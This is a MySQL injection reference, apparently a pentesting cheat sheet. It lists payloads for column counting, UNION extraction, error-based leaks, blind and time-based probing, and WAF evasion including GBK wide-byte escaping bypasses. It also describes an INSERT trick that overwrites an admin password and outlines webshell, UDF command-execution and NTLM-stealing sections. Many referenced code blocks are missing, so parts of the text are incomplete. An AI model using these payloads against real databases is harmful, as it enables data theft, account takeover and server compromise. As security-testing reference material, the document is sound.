Mysql Injection
MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.
Summary
MYSQL Default Databases
mysql
Requires root privileges
information_schema
Available from version 5 and higher
MYSQL Comments
MySQL comments are annotations in SQL code that are ignored by the MySQL server during execution.
#
Hash comment
/* MYSQL Comment */
C-style comment
/*! MYSQL Special SQL */
Special SQL
/*!32302 10*/
Comment for MYSQL version 3.23.02
--
SQL comment
;%00
Nullbyte
`
Backtick
MYSQL Testing Injection
Strings: Query like
SELECT * FROM Table WHERE id = 'FUZZ';Numeric: Query like
SELECT * FROM Table WHERE id = FUZZ;Login: Query like
SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
MYSQL Union Based
Detect Columns Number
To successfully perform a union-based SQL injection, an attacker needs to know the number of columns in the original query.
Iterative NULL Method
Systematically increase the number of columns in the UNION SELECT statement until the payload executes without errors or produces a visible change. Each iteration checks the compatibility of the column count.
ORDER BY Method
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
ORDER BY 1--+
GROUP BY 1--+
True
ORDER BY 2--+
GROUP BY 2--+
True
ORDER BY 3--+
GROUP BY 3--+
True
ORDER BY 4--+
GROUP BY 4--+
False
Since the result is false for ORDER BY 4, it means the SQL query is only having 3 columns. In the UNION based SQL injection, you can SELECT arbitrary data to display on the page: -1' UNION SELECT 1,2,3--+.
Similar to the previous method, we can check the number of columns with one request if error showing is enabled.
LIMIT INTO Method
This method is effective when error reporting is enabled. It can help determine the number of columns in cases where the injection point occurs after a LIMIT clause.
1' LIMIT 1,1 INTO @--+
The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+
The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+
No error means query uses 3 columns
Since the result doesn't show any error it means the query uses 3 columns: -1' UNION SELECT 1,2,3--+.
Extract Database With Information_Schema
This query retrieves the names of all schemas (databases) on the server.
This query retrieves the names of all tables within a specified schema (the schema name is represented by PLACEHOLDER).
This query retrieves the names of all columns in a specified table.
This query aims to retrieve data from a specific table.
Extract Columns Name Without Information_Schema
Method for MySQL >= 4.1.
(1)and(SELECT * from db.users)=(1)
Operand should contain 4 column(s)
1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
Column 'id' cannot be null
Method for MySQL 5
UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Duplicate column name 'id'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
Duplicate column name 'name'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
Data
Extract Data Without Columns Name
Extracting data from the 4th column without knowing its name.
Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]
MYSQL Error Based
GTID_SUBSET
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
JSON_KEYS
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
EXTRACTVALUE
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
UPDATEXML
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
EXP
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -
OR
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
NAME_CONST
AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
UUID_TO_BIN
AND UUID_TO_BIN(version())='1
MYSQL Error Based - Basic
Works with MySQL >= 4.1
MYSQL Error Based - UpdateXML Function
Shorter to read:
MYSQL Error Based - Extractvalue Function
Works with MySQL >= 5.1
MYSQL Error Based - NAME_CONST function (only for constants)
Works with MySQL >= 5.0
MYSQL Blind
MYSQL Blind With Substring Equivalent
SUBSTR
SUBSTR(version(),1,1)=5
Extracts a substring from a string (starting at any position)
SUBSTRING
SUBSTRING(version(),1,1)=5
Extracts a substring from a string (starting at any position)
RIGHT
RIGHT(left(version(),1),1)=5
Extracts a number of characters from a string (starting from right)
MID
MID(version(),1,1)=4
Extracts a substring from a string (starting at any position)
LEFT
LEFT(version(),1)=4
Extracts a number of characters from a string (starting from left)
Examples of Blind SQL injection using SUBSTRING or another equivalent function:
MYSQL Blind Using a Conditional Statement
TRUE:
if @@version starts with a 5:FALSE:
if @@version starts with a 4:
MYSQL Blind With MAKE_SET
MYSQL Blind With LIKE
In MySQL, the LIKE operator can be used to perform pattern matching in queries. The operator allows the use of wildcard characters to match unknown or partial string values. This is especially useful in a blind SQL injection context when an attacker does not know the length or specific content of the data stored in the database.
Wildcard Characters in LIKE:
Percentage Sign (
%): This wildcard represents zero, one, or multiple characters. It can be used to match any sequence of characters.Underscore (
_): This wildcard represents a single character. It's used for more precise matching when you know the structure of the data but not the specific character at a particular position.
MySQL Blind with REGEXP
Blind SQL injection can also be performed using the MySQL REGEXP operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the LIKE operator can offer.
' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --
Checking length
' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --
Checking for the presence of digits
' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --
Checking for data starting by "a"
MYSQL Time Based
The following SQL codes will delay the output from MySQL.
MySQL 4/5 :
BENCHMARK()MySQL 5:
SLEEP()
Using SLEEP in a Subselect
Extracting the length of the data.
Extracting the first character.
Extracting the second character.
Extracting the third character.
Extracting column_name.
Using Conditional Statements
MYSQL DIOS - Dump in One Shot
DIOS (Dump In One Shot) SQL Injection is an advanced technique that allows an attacker to extract entire database contents in a single, well-crafted SQL injection payload. This method leverages the ability to concatenate multiple pieces of data into a single result set, which is then returned in one response from the database.
SecurityIdiots
Profexer
Dr.Z3r0
M@dBl00d
Zen
sharik
MYSQL Current Queries
INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment.
The PROCESSLIST table contains several important columns, each providing details about the current processes. Common columns include:
ID : The process identifier.
USER : The MySQL user who is running the process.
HOST : The host from which the process was initiated.
DB : The database the process is currently accessing, if any.
COMMAND : The type of command the process is executing (e.g., Query, Sleep).
TIME : The time in seconds that the process has been running.
STATE : The current state of the process.
INFO : The text of the statement being executed, or NULL if no statement is being executed.
1
root
localhost
testdb
Query
10
executing
SELECT * FROM some_table
2
app_uset
192.168.0.101
appdb
Sleep
300
sleeping
NULL
3
gues_user
example.com:3360
NULL
Connect
0
connecting
NULL
Dump in one shot query to extract the whole content of the table.
MYSQL Read Content of a File
Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
If you are root on the database, you can re-enable the LOAD_FILE using the following query
MYSQL Command Execution
WEBSHELL - OUTFILE Method
WEBSHELL - DUMPFILE Method
COMMAND - UDF Library
First you need to check if the UDF are installed on the server.
Then you can use functions such as sys_exec and sys_eval.
MYSQL INSERT
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
Inject using payload:
The query would look like this:
This query will insert a row for the user "attacker_dummy@example.com". It will also insert a row for the user "admin@example.com".
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the password column of the already existing row to "P@ssw0rd". After this, we can simply authenticate with "admin@example.com" and the password "P@ssw0rd".
MYSQL Truncation
In MYSQL "admin" and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
Payload: username = "admin a"
MYSQL Out of Band
DNS Exfiltration
UNC Path - NTLM Hash Stealing
The term "UNC path" refers to the Universal Naming Convention path used to specify the location of resources such as shared files or devices on a network. It is commonly used in Windows environments to access files over a network using a format like \\server\share\file.
⚠️ Don't forget to escape the '\\'.
MYSQL WAF Bypass
Alternative to Information Schema
information_schema.tables alternative
Alternative to VERSION
Alternative to GROUP_CONCAT
Requirement: MySQL >= 5.7.22
Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed
group_concat()= 1024 symbolsjson_arrayagg()> 16,000,000 symbols
Scientific Notation
In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: base 'e' exponent.
For example:
1e3represents1 x 10^3which is1000.1.5e3represents1.5 x 10^3which is1500.2e-3represents2 x 10^-3which is0.002.
The following queries are equivalent:
SELECT table_name FROM information_schema 1.e.tablesSELECT table_name FROM information_schema .tables
In the same way, the common payload to bypass authentication ' or ''=' is equivalent to ' or 1.e('')=' and 1' or 1.e(1) or '1'='1. This technique can be used to obfuscate queries to bypass WAF, for example: 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
Conditional Comments
MySQL conditional comments are enclosed within /*! ... */ and can include a version number to specify the minimum version of MySQL that should execute the contained code. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the /*!. If the MySQL version is less than the specified number, the code inside the comment will be ignored.
/*!12345UNION*/: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher./*!31337SELECT*/: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher.
Examples: /*!12345UNION*/, /*!31337SELECT*/
Wide Byte Injection (GBK)
Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.
The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.
Several characters can be used to trigger the injection.
%bf%27: This is a URL-encoded representation of the byte sequence0xbf27. In the GBK character set,0xbf27decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.%bf%5c: Represents the byte sequence0xbf5c. In GBK, this decodes to a valid multi-byte character followed by a backslash (\). This can be used to escape the next character in the sequence.%a1%27: Represents the byte sequence0xa127. In GBK, this decodes to a valid multi-byte character followed by a single quote (').
A lot of payloads can be created such as:
Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.
Here's a breakdown of how the wide byte injection works:
For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\'' LIMIT 0,1.
However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1.
In the GBK character set, the sequence %df%5c translates to the character 連. So, the SQL query becomes: SELECT * FROM users WHERE id='1連'' LIMIT 0,1. Here, the wide byte character 連 effectively "eating" the added escape character, allowing for SQL injection.
Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.
References
Last updated